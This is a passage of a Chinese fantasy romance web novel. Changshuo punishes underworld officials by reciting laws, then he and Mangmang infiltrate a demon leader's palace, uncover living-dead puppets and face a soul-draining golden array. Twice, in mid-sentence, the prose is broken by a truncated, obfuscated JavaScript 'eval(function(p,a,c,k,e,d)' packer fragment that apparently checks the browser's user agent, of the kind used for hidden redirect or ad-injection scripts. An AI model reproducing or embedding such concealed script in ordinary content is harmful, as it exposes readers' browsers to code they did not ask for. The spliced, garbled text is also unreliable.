这一声醍醐灌顶,常朔好似一下惊醒过来。不,不是这样的。不是武神又怎样?无能为力又怎样?有些事情做不了,但也必须做!他用自己的方式。 常朔握了握袖中金球,简单思考之后,果断朝白笙那边跑去。 “还不走!过来干什么?” 常朔不做回答,而是用行动表示。他先是上前抓住白笙的手腕,输出灵力,修复已经有裂痕的鱼骨锁。 “来助你。”常朔松开手后,结出一道屏障护住两人,再转过身面对冥差,道, “《生死律》卷二第十五条律曰,亡灵之地冥差禁擅自羁留有意愿转世之魂,犯此禁者,剥其权职并处以极刑; “《生死律》卷二第三十二条律曰,亡灵之地冥差对圈内外魂灵应一视同仁,不可打压、奴役,犯此禁者,轻则剥其权职并流放,重则处以极刑。” 高个子不以为然,他嘲笑道:“神君大人,您是来背书的不成?”说完哈哈哈大笑起来,包括他周围的其他冥差,也觉得听了个天大的笑话似的,纷纷笑得前仰后合。 然而常朔不理会,只是回想起一路所见,罗列出每一条冥差所犯之罪。 “《生死律》卷三第十一条律曰,亡灵之地冥差不得聚众斗殴,更不得戕害魂灵,犯此禁者者,轻则鞭笞一百停职整顿,重则剥其权职并流放。 “《生死律》卷三第十二条律曰,亡灵之地……” 高个子终于失去耐心,极电鞭再次蓄力要朝常朔打来。然而他刚举起手,便觉混身刺痛,像被荆棘捆住,一动就疼,不光是他,在场所有冥差几乎都是这样。 “你做了什么?!”高个子疼得在地上来回翻滚,崩溃大叫。 “《生死律》卷六第一条律曰……” “闭嘴!不准再念了!” 这些经文似的律法全都作用到他身上,常朔每念一条,他身上的痛苦就加剧一分。 “《生死律》卷七第三条律曰……犯此禁者,轻则剥其权职并流放,重则处以极刑…… “《生死律》卷七第二十三条律曰……犯者,处以极刑……卷九第十二条律曰……终卷第五十一条律曰……” “啊啊啊啊啊——” “最后提醒你,《生死律》总纲第一则,亡灵之地来往魂灵、任职冥差须牢记,勿生事端,勿扰轮回,勿涉因果。” “你自己说过的话,可还记得?” 话音落,现场几乎所有冥差突然开始爆炸,灰都不剩。有幸存的也倒在地上再也爬不起来。 见状,白笙目瞪口呆,忍不住竖起大拇指,“我再也不嘲笑你书呆子了。” 常朔只是笑笑,他长袖中的手碰到那枚金球,终于松了口气似的。 “阿笙!” 喊声从背后传来,白笙一听这声音便心道不好,她故作镇定回头,视线与朝这边赶来的让玄撞个正着。 让玄一来便拉着白笙检查她有没有受伤。 “让玄你别气,而且我什么事都没有,不信你问他。”白笙拉着他的手左右晃晃,解释完转头指向常朔。 哪知常朔装作没看见似的,若无其事地把头转向另一边。 见证人变卦,白笙气得不行。她只好垂着头,老老实实任让玄拉她回去。走之前,出于基本礼貌,她还是跟常朔道了别。 “外圈危险,你自己小心。” “嗯。”常朔应声,“走了。” 走过奈何桥,前面不远处就是外圈。为防止外圈怨灵作祟,外圈和内圈之间设了一道单向屏障,只能从内出去,不能从外进来,除非有冥差给的手令。 常朔给自己施了道隐身术,一路小心谨慎,也算畅通无阻。 19. 再出发 杧杧睁开眼,又回到记忆海底,周围的小鱼分散开来慢悠悠地在她身边来回游,杧杧再次触摸停在她面前的一直小鱼,眼前白光闪过,又回到北丏山书房。 这时候常朔已经从亡灵之地回来,他端坐在桌案前,毋得睁眼,吐出一大口鲜血之后,剧烈咳嗽起来。 他开始继续往水球中输入灵力,这个姿势维持了不知道多久,他手上、脖子上开始显出同杧杧一样的伤痕,水环里的人却在渐渐恢复。 转移过程痛苦又漫长,但他麻木又固执地不肯停下。 直到看见水球中人面色变得红润,摔碎的身体重新完整拼合后这才停下。 常朔尝试呼喊杧杧,但喊了几声也没有回应,他没那么着急了,反正人已经救回来,醒来是迟早的事。 他擦去嘴角鲜血,身上青衫早已被血水染红,他捞起袖子一看,手臂上是一道接一道密密麻麻的黑色疤痕,触目惊心。 常朔收好水球,回房换了件衣服,把自己收拾干净后,又把脖子上露出来的疤痕盖住。 做完这些,神力已经透支到一定程度,没办法再把杧杧带回来。常朔想去喝口茶水缓缓,然而刚走到桌边,突然眼前一黑,扑通一声倒在地上,晕过去。 他晕了不知多久,迷迷糊糊的,直到耳朵能听到声音,才清醒一点。 是说话声,一男一女,这声音很近,就在他耳边。 终于有光透进来,常朔躺在地上,头还有点晕,耳边的声音一直还在。 “杧杧?” “是我。” 常朔笑了,他将手腕靠近耳朵,仔细听着心里那道清亮的声音。 他起身走出房间,这日是个难得的好天气。常朔站在晨光中,本就苍白的脸更显得毫无血色,仿佛下一刻就能再次倒下。他生得美极,若叫杧杧看见这么样,定会感叹他像话本里的病美人。 记忆到这里结束,杧杧从记忆海底出来后,发现自己站在一片虚无空间里,好像还没从梦境出去。 回身转头,常朔就在自己身边。 杧杧沉默着,她上前拉过他的手,将袖子一点一点挽起来,露出一截光滑结实的小臂,哪里还有记忆中看到的黑色疤痕。 她实在说不出一句话,手脱力后一点点往下,又扣住常朔的手,往前走一步离得他更近。泪水充盈在眼眶,杧杧在它涌出前埋下头,抵在他胸膛上,肩膀终于控制不住颤抖起来。 常朔总不擅长说出口。越做越多、越做越精致的衣服,卖相越来越好的饭菜,越长越胖的小白,涩感越来越淡的长生水……杧杧一直都知道,他从来不像看上去那样冷若冰霜。 “哭什么。”常朔叹口气,纠结一阵还是抬起手,停在她发顶,安抚似的轻拍几下。 杧杧只是摇头。 “不疼。”常朔道,怕她不信又补充,“真的。” “骗人。” “没有。”他从来不撒谎。 杧杧没再和他争论,重重抽泣几声,慢慢平复好心情。常朔也不催她,静静等着杧杧呼吸平缓。 “走吧。”常朔下意识抬手替她抹去脸上没擦干的泪水。 “去哪儿?”杧杧一时间脑子没转过来。 “出去。” 他们现在还在南师弥的梦境里。 两人的手没放开,常朔用另一只手捂住杧杧眼睛,让她在心里倒数三个数。 杧杧照做,三个数后常朔的手挪开,周围已不再是一片虚无,他们此刻就躺在南师弥的屋子里的床榻上。 忽然回到现实,一时间她竟觉得恍惚,不过两个时辰,却好像做了一辈子梦。 南师弥不在屋里,常朔和杧杧推门走出去。 “早点休息,有什么事明早再商量。” “好,阿朔你也是。” 杧杧毫无睡意,她没着急回房,在水榭转了圈,最后在侧厢房后面找到一个闲置的木梯。她顺着木梯爬上去,刚到房顶,就南师弥背对她坐在屋脊上。 夜已深,天色并不好,云层将明月和星辰紧紧遮盖住,乌黑一片,夜景没什么好看的。 杧杧小心爬过去,在她身边坐下。 “谢谢你,南师。” 南师弥笑笑,明艳的脸上透着淡淡忧伤。 “别叫南师吧。”南师弥手撑着脸,“本宫好讨厌‘南’这个姓。” “那师弥?”杧杧想了想,“弥弥。” “嗯。”南师弥应声,“你不去睡觉吗?” “睡不着,你呢。” “明知故问。” 两人沉默一会儿,南师弥静静地望着天,又开口道:“本宫明日启程,回南海。” 她已经养好伤,也还了杧杧人情,没什么要留在这里的理由。 “这样啊。”杧杧学她的姿势,手撑着脸,“我以后能去找你玩吗?” 南师弥想了会儿,才说:“等本宫抢回皇位。” “抢回?”她抓住这字眼。 “你不会以为幻蝶皇室真该姓南风吧?” 杧杧点点头。 南师弥不懈地扯扯嘴角,“几百年前师氏祖先同南氏杂种结合,一起创建幻蝶王国,给了我们子民一个长久的家园。 “南氏最开始不过是一个小氏族,微不足道。幻蝶皇室,本应该姓师。可那姓南的杂种移情别恋,勾搭上风氏。他们联手将师氏赶下台,篡夺王位。并且在幻蝶族几百年的发展中,不断打压师氏。 “拜他们所赐,如今的师氏已经形如散沙,实力大不如从前,只能同最低阶的小氏族婚配。 “本宫是师氏第七代族人,从小被南风氏那群杂种欺负,踩在脚下的时候,本宫就发誓,总有一天我要亲手铲除这些蝼蚁,亲手打碎他们的皇权梦。” 南师弥说完,平息了下心情,转头看杧杧竟听得很认真。 “随你嘲笑吧,就算完成不成,本宫死也不让他们好过。” “我相信你。” 南师弥愣住,她在脑子里预想过很多种结果,这个傻姑娘可能会安慰她,会嘲笑她。但她独独没想到,杧杧只是很真挚地告诉她, “我相信你。” 相信她没有说大话,相信她说的事实,相信她可以做到。 “谢谢。”这一句十成真心。 “不客气。” 风吹得越来越大,月亮终于肯赏脸露出一角。 月光映在杧杧脸上,她从头上拔下来一根头发,头发在掌心化成一片银叶子,这一片比她之前摘过的都要大,都要亮。 “我没什么拿得出手的,这个送你。祝你早日实现梦想。”杧杧把银叶子递给她,“用它做的灯,永远不会熄灭。” “永远?” “嗯……没错。” 南师弥收好叶子,说:“本宫现在没有东西可以给你回礼,等你来南海,再补上。” “好。” 南师弥离开后,杧杧仔细梳理了现在她已知的线索。 第一,杀害爷爷和阻她化形的是哭脸鬼面和和黑衣人; 第二;哭脸鬼面和黑衣人想从她身上得到某种碎片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她没有肉身,从外圈跟我们一起回来,不是消散就是附身到旁人身上了。” 每一种都不是好结果,但杧杧还是倾向于希望她平安无事,哪怕她完全不记得她们有过的交集。大概是直觉吧,杧杧预感她们的缘分还没结束。 “还有什么要问的?” “没了。” 常朔点点头,“去背书吧。” “阿朔。”杧杧捏住衣角,面对常朔的注视,她犹豫再三,视线游离定格在他衣袖上,最终开口,“我想再去黑市一次。” “你跟我一起,行吗?”她又补充道。 常朔叹口气,“去收拾东西吧。” 得到准许后,杧杧开心跑走。她先去给小白的兔子窝清理一番,添置好干草和水,还放了些萝卜、青菜,当零食。 至于雪莲,没人照顾会出问题。 但常朔让她不用担心,水环用的是浅潭里的水,可以通过水环给雪莲灌灵力。 很多东西都准备好了,但临走前杧杧还是不放心小白。思索后,她决定把小白托给木秋宜照顾。 到了山下小镇才发现,木秋宜不在家,问邻居也只说没见过。 “阿朔,我们把小白带上吧,它可以待在我的乾坤袋里,还有它的水草。拜托了,小白很乖的。” 常朔拧拧眉心,还是答应了,一个成不了精的兔子精,能有多麻烦? 去黑市就不得不经过妖族领地。 这时的妖市跟她上次来不一样,冷冷清清,街道混乱一片,基本看不到什么活物。 为防止两人分散,常朔将他们的水环锁在一起,无论相隔多远都能传送到对方身边。 杧杧凭着记忆将常朔带到上次她追小偷跟进去的巷口处,刚要往前走,听到身后有人唤她名字。 “杧杧?” 20. 怪乱地 “杧杧?” 她回头一看,是一张熟悉的脸庞。 “先生,好巧!” “这位是?” “呃……”杧杧斟酌于用词,总不能直接说是她心上人吧?思索片刻,她回答,“我哥哥。” 常朔饶有兴味地瞄她一眼。 “你好。”楚生很有礼貌地打招呼。 常朔朝他点点头。他来时有意隐藏气息,楚生自然察觉不到他的天神身份。 忽然,远处一座高楼处传来声巨响,随之而来的是一阵大爆炸,街上少有的妖怪们纷纷四处逃窜。 楚生抓着两人跑进邻街一家店里。 店内空空荡荡,地面桌板都落满灰尘,看来店主离开有段时间了。 “先生,外面发生什么了?” 楚生走到窗边往外看了会儿,这才跟她解释了妖市大变样的缘由。 原来一个月前,妖族首领突然下令征兵,扬言要培养一支精锐来对抗仙族。说得冠冕堂皇,不过就是找了个理由把妖民们抓起来,其真实目的尚且不知。 经此一事,妖民们纷纷不敢出门,能躲一时躲一时。他们已经过了几百年没有战乱的好日子,就算真要打仗,也没哪只妖怪愿意去。 楚生着急是因为他母亲前两天出门也被抓了,他计划去首领大帐将母亲救出来,正巧路上碰见杧杧他们。 “原来如此。”杧杧同常朔对视一眼,心底有同样猜测——哭脸鬼面。 不怪她草木皆兵,仙妖和平好几百年了,商业来往早已十分紧密,两族通婚也不在少数打仗对两族子民皆百害无一利,妖族首领是明事理的,定然不会下如此决断。 唯一的可能就是哭脸鬼面从中作梗。他既在黑市进行大量奴隶交易,没准那些被抓去的妖怪也成了他的奴隶。 外面四处是妖兵,杧杧仔细看过,他们目光呆滞,行动呆板,相互之间也不交流,看起来就像……她心里隐隐有个大胆的猜测。 “咱们一起去!”杧杧拍拍他肩膀,道。 然而楚生摇摇头,面色凝重:“姑娘有所不知,如今大帐外守卫森严,设有好几层结界,别说闯了,偷溜进去都难。 “结界上布有现形法术,隐身术、变形术通通不管用,进出必须要令牌。况且一旦被抓,就会被戴上特制铁环,封锁法力,完全没有自救可能。” 杧杧沉思一会儿,她抬眼跟常朔对视,这一眼便知他们想到一块儿去了。 “并非进不去。”杧杧对楚生道,“先生,我有一计。” 楚生听完计划当即摇头,“不可,姑娘不知里面是何种情况,这样只怕会让你们身处险地。” “先生,你信我。” 楚生见杧杧坚定的模样,又见常朔并无阻拦,这才勉强同意。 半刻钟后,妖兵们将抓到的妖怪押送回首领大帐。 原来这首领大帐并非真的帐篷,而是座由真金筑造巨大的宫殿,看着无比气派。 宫门口,守卫的士兵对妖兵带来的妖怪一一检查,确认无误后带上手环,给领头的妖兵发放令牌,这才打开宫门放进去。 然而检查到一个年轻妖兵时,守卫狐疑地看了眼他身后站着的一个路都走不稳的老妖,问:“你只抓了一个?” 年轻妖兵傻笑着点点头,“厉害吧。” “废物!” 守卫无语的给他头上重重来了一下,给他放行后,还不忘背后补上一脚。 领头的妖兵将妖怪们带进地牢就离开,一路上经过许多牢房,里面关押的妖怪却都像死了似的,有新的妖怪来了也不做反应。 年轻妖兵排在队伍末端,他依旧傻笑,领着自己好不容易抓来的那只老妖进了地牢最里间,取下劳房钥匙开锁。 在他没注意到的时候,那只老妖怪枯瘦的手解开了她腰上的乾坤袋。 妖兵转头的一瞬间,乾坤袋中飞出一道灵光,正中他眉心。 妖兵没来得及闭上眼就倒下去,而他身前哪里还有颤颤巍巍的老妖怪,分明是个花季少女。 常朔和楚生从乾坤袋里出来,楚生将妖兵拖进牢房中,而常朔意味深长地看了杧杧一眼,杧杧假装没注意到,她走向隔壁一间牢房,凑近去看。 牢房里黑漆漆,看不真切,还散发出一股恶臭,杧杧正观察着里面的妖怪,突然,面前出现一张惨白的脸。 她手上的镣铐撞击铁栏杆发出“砰”得一声巨响。 杧杧吓得后退一步,撞上身后的常朔。 常朔将杧杧拉至身后。杧杧回过神后仔细一看,想起来她是之前在妖市上买糕点的女妖。 楚生听到动静跑来,谁知那女妖一见到楚生,竟面目狰狞地吼叫起来,伸出手想去抓他。 “啊啊啊啊啊——” 常朔嫌吵,抬手一道禁言术过去,立马安静下来。 “先生,你跟她可有什么过节?” “不曾。” 尚且不理会女妖,这个地牢处处透着古怪,为何偌大一个牢房没有看守?并且关押的这些妖怪全都一动不动,甚至没有一点声音?除了面前这个女妖。 这画面感觉有些熟悉。 方才心中猜想如今越来越觉得可能,这些妖怪全都是…… “活死人!” “什么?”楚生被杧杧这没头没尾的一句话弄糊涂了。 “这些妖怪,全都被做成了活死人。”杧杧解释道。 “可她怎么说?”楚生指着那边还在挣扎的女妖问道。 常朔走上前去,虚捏住她的手腕探查一番后,转头对杧杧说:“你还记得亡灵之地那个魂灵吗?” “是她!”这么一说,杧杧立马反应过来,她想了想,看看楚生,决定后对常朔道,“阿朔,你先解开她的禁言术。” 常朔照做。 禁言术一解开,女妖再次大叫起来。 “如果你不想把守卫全都引来,将你再变成活死人的话,可以继续叫。”杧杧道。 那女妖听了杧杧的话终于安静下来,但依旧直勾勾地盯着楚生。 “你是什么时候附到她身上的?”杧杧问,“秦娘。” 一听这话,楚生难以置信地抬头,声音带着颤抖,“姑娘,你叫她什么?” “秦娘。” 这两个字犹如晴天霹雳砸在他身上,楚生只觉像被人掐住喉咙,不能呼吸。他死死地盯着女妖,仿佛只有这样才有呼吸呼吸的可能。 秦娘老老实实回答:“我最开始魂体弱,只能附在花草上,后来慢慢恢复后,刚好碰到她被抓去吸走魂魄,这才有机会上身。” “在下恳请二位将秦娘救出!”楚生突然对着杧杧和常朔行礼,解释说,“她曾目睹过活死人制作过程,说不定对二位会有帮助!” 楚生的话不无道理,整个地牢除了他们,可能也只有 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秦娘想起什么,暗骂一句,退回地牢里,警报声却没有停止。 “秦娘,这是怎么回事?”杧杧问。 “坏了坏了!”秦娘沮丧地锤头,举起带着特制铁环的手,“定是这手环惹的祸!” 杧杧也带着手环,她问:“肯定有办法摘下来,我们得去守卫那儿拿钥匙。” “你们哪儿也去不了!” 话音落下,地牢大门被一股强力推开,外面走进来一个婀娜身段的女人,身后是一队妖兵。 女人扭着身子走进来,看清四人面容后微微一愣,接着大笑起来。 “我当是谁,儿啊,你怎么在这儿,还有那个小姑娘。” “娘?”楚生一脸问号。 “先生,你母亲不是……”杧杧也是一脸问号,这女人她当然认识,几个月前她还卧病在床。 楚生尴尬地笑笑,他也没想到事情会变成这样。 “呵,骗子。”秦娘十分鄙夷,仿佛早就猜到会是如此一般,“还不明白吗?他跟他娘肯定是一伙的。就知道你没这么好心,我呸!” 楚生连忙摇头。 “不是的,不是的……” “不是什么,从前你就骗我,还指望我会相信你?做梦吧!” “行啦,吵什么吵。”楚生母亲听得不耐烦,“儿啊,你来娘这边,娘跟大王求情,不杀你。” “这……” 杧杧攥着常朔袖子,心里思索对策,楚生应当不会说谎,但秦娘对他的态度实在让杧杧摸不着头脑,或许真实情况与话本有所出入。 局面一时间僵持住,这时,杧杧感受到常朔抓住她戴有铁环的手,尝试解开,他宽大的袖袍挡住动作,面上又是一副平淡如水的模样,楚母根本没注意。 然而铁环不同于方才的门锁,常朔也没办法打开,强制开锁恐怕伤到杧杧。 “儿啊,你照顾为娘那么久,我会跟大王求情饶你一命的。”楚母不再废话,“全部拿下!” 妖兵听令行动,将四人团团围住,这些木楞的妖兵越聚越多,朝他们步步紧逼。 常朔暂停开锁,转而在杧杧手心写了什么,她会意后点点头,随后杧杧抓过秦娘,而常朔拎住楚生衣领,眨眼间,四人消失不见。 21. 楚生情 “他们去哪儿了?”楚母暴跳如雷,从腹中抽出蛛丝鞭就朝妖兵们挥过去,“一群废物!” 原来就在刚才,常朔催动水环,带着四人逃脱。 不知是何缘故,水环带着他们到了间书房,就书房内装潢来看,应当还在首领大帐内。 书房里很安静,门窗紧闭,门外也没有守卫巡逻。四人分头在书房里查看。 “好奇怪,这妖族首领不在自己家里安排守卫的吗,连个仆人也没有。”杧杧走到窗边推个缝隙,看了看外面情景,不由得自言自语。 这间书房实在没什么可看的,但他们现在不敢贸然出去,楚母和追兵还不知会不会找到这里,楚生和秦娘要尽快送出去。 还有一点,杧杧总觉得这里和哭脸鬼面脱不了干系,这也是为什么她要同楚生一道进来。 “杧杧,来这边。”这是常朔在用水环联系她。 屏风后,常朔站在书桌前,正在摆弄桌上的墨锭。 杧杧走上前去,“怎么了,阿朔?” “这儿是妖族首领的书房。” 杧杧抬手摸了把书桌,上面有层薄薄的灰,砚台里的墨迹早就干了,一旁毛笔架上垂挂的笔的毛也发硬。 “瞧着他应当许久没来了。”杧杧猜测,“会不会是哭脸鬼面或者黑衣人,他们抓了妖族首领?” 常朔点点头,“不无可能。” “哎,先生看见他母亲这样,恐怕会难过。” “她是具活死人。” “什么?可是……” “活死人实质是种傀儡术,没有魂魄但肉身不死,很容易被操控。做得精细些,就像她一样还有自己的意识,不容易分辨;粗糙一点就同牢房里那些妖怪一样。” “那你是怎么看出来的?” “活死人身上有股淡淡的恶臭,能闻出来。” 杧杧摸摸自己的鼻子,没错,她不仅没有味觉,除了视觉之外的感官都不大灵敏。 “滚开!你这个骗子,你说什么我都不会信的!”秦娘尖锐的声音在这间空荡荡的书房里更加刺耳。 杧杧和常朔绕到他们那边去。 书架间,秦娘背着身好似在抹眼泪,而楚生低着头,不敢看她。 “秦娘,我辜负你,你怪我怨我都没关系,我也不求你的原谅,但……” 只见秦娘转过身,又要说什么,杧杧上前拉住她,表情有些严肃,她说:“不管你们有什么矛盾,现在解释清楚,这里不是吵架的地方。” “我跟他没什么好说的。”秦娘扭头就走。 “先生,究竟怎么回事?”见秦娘沟通无望,杧杧又去问楚生。 楚生叹口气,跟杧杧解释道:“你看的话本里是不是讲我高中回乡,得知秦娘死讯后跳河自杀?其实故事没讲完,我那时没有死。 “被人捞起来后,我失忆了。不记得自己是谁,也不记得秦娘,后来便跟县令的女儿成了亲。 “县令怕我落了毛病,成亲后我每日都喝许多补药,渐渐的开始想起些事情。 “等我完全恢复记忆时,已经过了五年,还有了一儿一女。我十分痛苦,不知如何面对妻子,我想死,却也不知如何面对秦娘。 “于是我日渐消沉,对什么事都不上心,整日把自己关在房中。如此过了几年,有回冬天,我不甚感染风寒,又讳疾忌医,就这么死了。 “死后我去了亡灵之地,却在那里碰上秦娘。她等我许久不得生了怨念,一时无法轮回转世。我本想陪她,但冥差不准我留在外圈,我不肯走,挣扎间掉进忘川中,你们也知道,没有被撒忘川水直接跳的魂灵会带着前世的记忆。 “因此,那一世的我也过得痛苦极了。死后再次回到亡灵之地,秦娘已经不在外圈。而我因为没遵循亡灵之地的轮回规则,被驱逐了。” “所以你夺舍别的生灵?”杧杧问。 楚生摇头,继续说:“我在外圈也不受待见,因此想办法离开亡灵之地后,我又回到人间。那时我只能附身在房屋、木桥这种死物上,但我的附身却让那些地方频频出事。 “一个偶然的机会,我找到了解决办法。有些刚出生的婴儿因体弱或者魂力不足往往夭折,投生的魂灵只好再次返回亡灵之地,于是我附身上去。 “如此,竟也在人间活了几百年,后来我魂力越来越强,渐渐能附到仙妖身上。仙妖寿命长,我受转世之苦也不会那么频繁。” 真相竟是这样,杧杧实在没想到,她心情复杂,下意识看向常朔,若常朔有天失忆不要她了,她也会难过得想死吧。 正当她想说点什么岔开话题时,腰间的乾坤袋动了动。 “怎么啦小白?”杧杧安抚地拍拍袋子。 袋子里钻出个白色毛茸茸的脑袋,小白睁着大眼睛东张西望。楚生方才在乾坤袋里见过小白,因此反应不大。 “小白乖。快进去。” 谁知小白不但没听话,反而挣脱出来,脚刚落地就一溜烟跑个没影儿。 这只肥兔子平时在家里动都不愿意多动一下,没想到能跑这么快,杧杧赶紧去追。 常朔挑眉,他倒是小看了这只没用的兔子精。 小白嗖得一下从秦娘脚边蹿过,惹得秦娘惊叫一声,杧杧跟着追过去赔礼道歉。 她本想从另一边绕过去抓住小白,但这只狡猾的兔子竟灵敏地躲过去,叫杧杧气得跳脚。 终于,小白停在一盆不知名花卉前停下,立起身想去吃盆栽里的花叶。只是还没来得及咬下就被杧杧拎起来。 “坏小白,以后不带你出门了。” 常朔跟着过来,但他没在意兔子,而是注意到盆栽边的一撮棕毛。 “啊,这是棉棉花,叶片娇嫩,很适合用来喂兔子。”楚生说着摘了片花叶卷成长条,“它应当是闻见味儿了。介意在下喂它吗?” 杧杧摇头表示同意,“先生很懂呢。” “活得久了什么都知道一点。”楚生无奈苦笑。 “呵,臭显摆。”秦娘依旧翻个白眼。 小白吃到棉棉花心满意足,杧杧将它重新放回乾坤袋里,为防止它再乱跑出来,杧杧给乾坤袋系了两个结。 “阿朔,你在看什么?” “没什么。”常朔不动声色地收起那撮毛。 眼下杧杧和秦娘手上的铁环还没有摘下来,一直在书房待着也不是办法。 “对了,在下先帮你们开锁吧。” “先生会开锁?” 这锁常朔都打不开,没想到楚生能开,听起来很有把握的样子。 “在下曾学过开锁的手艺,学艺不精,献丑了。” 楚生说着不知从哪儿找出根铁丝,他先给杧杧开了锁。 铁环终于解开,一下放松不少,这玩意儿戴在手上隔得疼。 杧杧揉揉发红的手腕,常朔见状拉过她的手就要用法术治疗,杧杧下意识抽回来,她还记着先前在记忆里看到的情景。 另一边楚生帮秦娘解开铁环,还不等他反应,秦娘已经飞速朝门口跑去。 “秦娘!”楚生着急想去追,走之前不忘对杧杧常朔道别,“多谢二位相助,在下告辞!” 常朔再次拉过杧杧的手,给她施法疗伤。 “怕什么?” 杧杧不说话,她紧盯常朔的手腕,确认不是通过转移疗伤后才松口气。 然而没等杧杧送完那口气,又听见常朔开口。 “一人千面哪儿来的?” “什……什么?”杧杧不敢看他的眼睛,她自认为方才进地牢时已经很小心了,没想到还是被常朔发现。 “杧杧,说实话。” 实话?她怎么敢说实话? 所谓“一人千面”,是种上古禁术,这种术法对施用者能力要求不高,哪怕是刚出生的婴儿都能使用。因为这种禁术实质上是一张面具,操作简单制作却不容易。 拥有一张面具等于拥有一千张面皮,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我还不至于弱到连这点活死人都摆不平。”常朔看她这动作觉得好笑,纵然不是武神,好歹是个神吧,叫一群连灵魂都没有的怪物伤了算怎么回事。 “阿朔,你伤好了?” 她指的是那些触目惊心的黑色疤痕。 “不必操心。”常朔将她拉到身旁,“你以为我们为什么会来这间书房。” “难道不是……”杧杧反应过来,也对,常朔神通广大,世上哪儿还有能困住他的,他可是仅仅念几句律文就能叫冥差苦不堪言的大神仙! 只见常朔一手牵着杧杧,另一只手中化出把细长的黑剑,面对冲上来的活死人,虽然剑法不太熟练,但也能应对自如。 这批活死人只是些低阶妖族,法力不高,智力也不高,常朔三两下解决完。 然而他们不清楚这里到底有多少只活死人,打完一批又来一批,形如黑市那次。很明显能看出来,新涌出来的活死人比上一批品质更高。 杧杧自然不能袖手旁观,她一边躲闪一边想抓乾坤袋里的符纸,谁知抓了半天袋子口还没打开。 可恶的小白! 等她好不容易打开乾坤袋,刚抓出一把符纸,就被常朔拉过去。 常朔将她护在怀里,就着她的手将符纸往一处书架方向扔去,顺便灌了点法力。爆炸的威力巨大,只见书架一旁的墙面竟被炸出个洞,洞里黑乎乎的,还真是处密道。 两人打退围上来的活死人,朝炸开的洞口跑去,就在两人进去的瞬间,常朔回身大手一挥击中书架。 排排高大的书架轰然倒塌,架堵住洞口,活死人被堵在外面,一时间进来不了。 常朔牵住杧杧,往密道深处走。 22. 金光阵 密道里很黑,杧杧倒看的清楚,但她心忧常朔恐怕看不见路,刚要抬手去扯头发,手却被常朔按下。 “总归是自己的头发,扯了不心疼?” “没事,还能再长。”杧杧满不在意,“我头发长可快了。” 说着她又要去扯。 “我看得见。” “好吧。”杧杧这才作罢。 方才对付活死人,暂时把一人千面的事抛之脑后,杧杧不敢再提,心里祈祷常朔也最好永远别想起来这事。谁知像有心灵感应似的,她刚在心里念叨完,常朔就开口了。 “一人千面趁早给我。” 他不逼他,甚至还给宽限时间,但杧杧怎么听怎么觉得后背发凉。 按理说她自己的树皮做出来的一人千面应当最好用,但也许是她技艺不精,之前试戴发现诸多问题。罢了,给就给,反正她也不满意这版,再重新做就是。 “也别想自己再藏。” “……” “用自己的树皮做,不疼吗?” “已经好了。” 杧杧当然也怕疼,所以严格按照自己脸的大小来做,一分也不敢多要,就是这样伤口也疼了好几天。 “笨。” 才不是。杧杧腹诽,她能想到这个方法已经很聪明了好吗!要知道就她那点微薄的法力,要杀黑衣人和哭脸鬼面简直痴人说梦。 这条密道很长,也没个岔路口,只能一直往前,然而杧杧腿都走酸了,也没看见别的东西。 “阿朔,你是不是知道什么?” 老实说,杧杧还没想通为何常朔会同意让她来这儿,甚至亲自陪同,他应当还有别的目的,否则不会让水环传送到这间书房。 “到了。”常朔回避掉她的问题。 密道越往里走越黑,常朔说到,是他们到了密道尽头。 是间石室,形制很熟悉,就像……就像黑市的天坑。常朔指尖亮起一点白光,足够照亮这片空间。 现下看得分明,倒把杧杧吓一跳。 原来柱形石室里,周围一圈墙面上竟是八个约九尺高的鎏金兽首,而他们来时的那条密道早已不见踪影。常朔指尖亮光一点,整间石室在反射光的照耀下登时亮如白昼。 再看脚下,是一方阵法图,八个兽首各对应一个方位。 “阿朔,这是什么?” “马腹,上古凶兽,人面虎身,喜食人。”常朔解释道。 那八个马腹首长得凶神恶煞,青面獠牙,无论如何杧杧也看不出“人面”。 “好吓人。”杧杧面部波澜地说,但这是实话,她刚才还真被吓到了。 “早被灭族,无甚可怖。” 不过是白笙的手下败将,用马腹首挺没品味的,这玩意儿天性狡诈,吃相难看,常朔想起来不勉犯恶心。 “这个阵法有什么用?” “这是金光阵。”常朔开始解释,“也算种禁术。这种阵法只能布置在密闭空间里,铜镜封顶,阵图作底,阵眼就是八个兽头。专用来吸食生魂。” 杧杧抬头望,石室天花板果真是有一面铜镜制成的。 “不过金光阵结阵复杂,破阵却简单,因此除非需要大量生魂,鲜少有人用。”常朔顿了顿,似是觉得这些兽头戳得眼睛疼,撇撇嘴,“这个设阵者法力不高且品味极差,选马腹作为阵眼,实在……” 实在恶心。 也不怪常朔这么讨厌马腹,饕餮贪吃但至少囫囵吃下去看着干脆。他曾经亲眼见到两只马腹吃人的场景,简直恶俗到难以启齿。 他至今仍然记得,那两只马腹扭在一起,将血、肉作为交/配的调/情工具,边做边吃,用完之后还要将残留在身上的都舔干净。 他立即就吐了,白笙和越沨却看得津津有味,不仅如此,后面还要那这事来嘲笑他,给常朔气得扣了他俩一整年供品。 “他们就是用这个阵法做活死人的?” 常朔点头。 “待着别动,我去把阵毁了。” 杧杧听话站在原地,看着常朔跃起用法术在每个兽头脑门上画出她不认识的奇怪符号。 然而就在常朔写完的刹那,地面开始剧烈震动,准确来说,整间石室都在震动。紧接着,那八个兽头的嘴竟在缓缓张开。 “倒是比我想得聪明些。” “阵开了?”杧杧下意识握住常朔。 “嗯。” 常朔扫了眼杧杧握住她的手,脸上闪过一丝不自然。 直至兽头的嘴全部张开后,震动才停止。不过没完,震动刚停下,兽头开始发出如婴儿般的嚎叫声,一股迷雾不知从哪儿钻出来。 雾气很浓,不一会儿就充斥满整个空间。不止是雾,一根接着一根金线从兽头张开的嘴里破出,连接到另一个兽头。 常朔再次召出黑剑,试图将这些金线砍断。谁知他刚抬手要挥剑,突然跪倒在地,手紧紧捂住心口。 “阿朔!阿朔你怎么了?”杧杧赶紧去扶他。 可一被杧杧碰到,常朔勉强支起的一条腿也跪下去,他撑着剑才不至于整个倒下去。 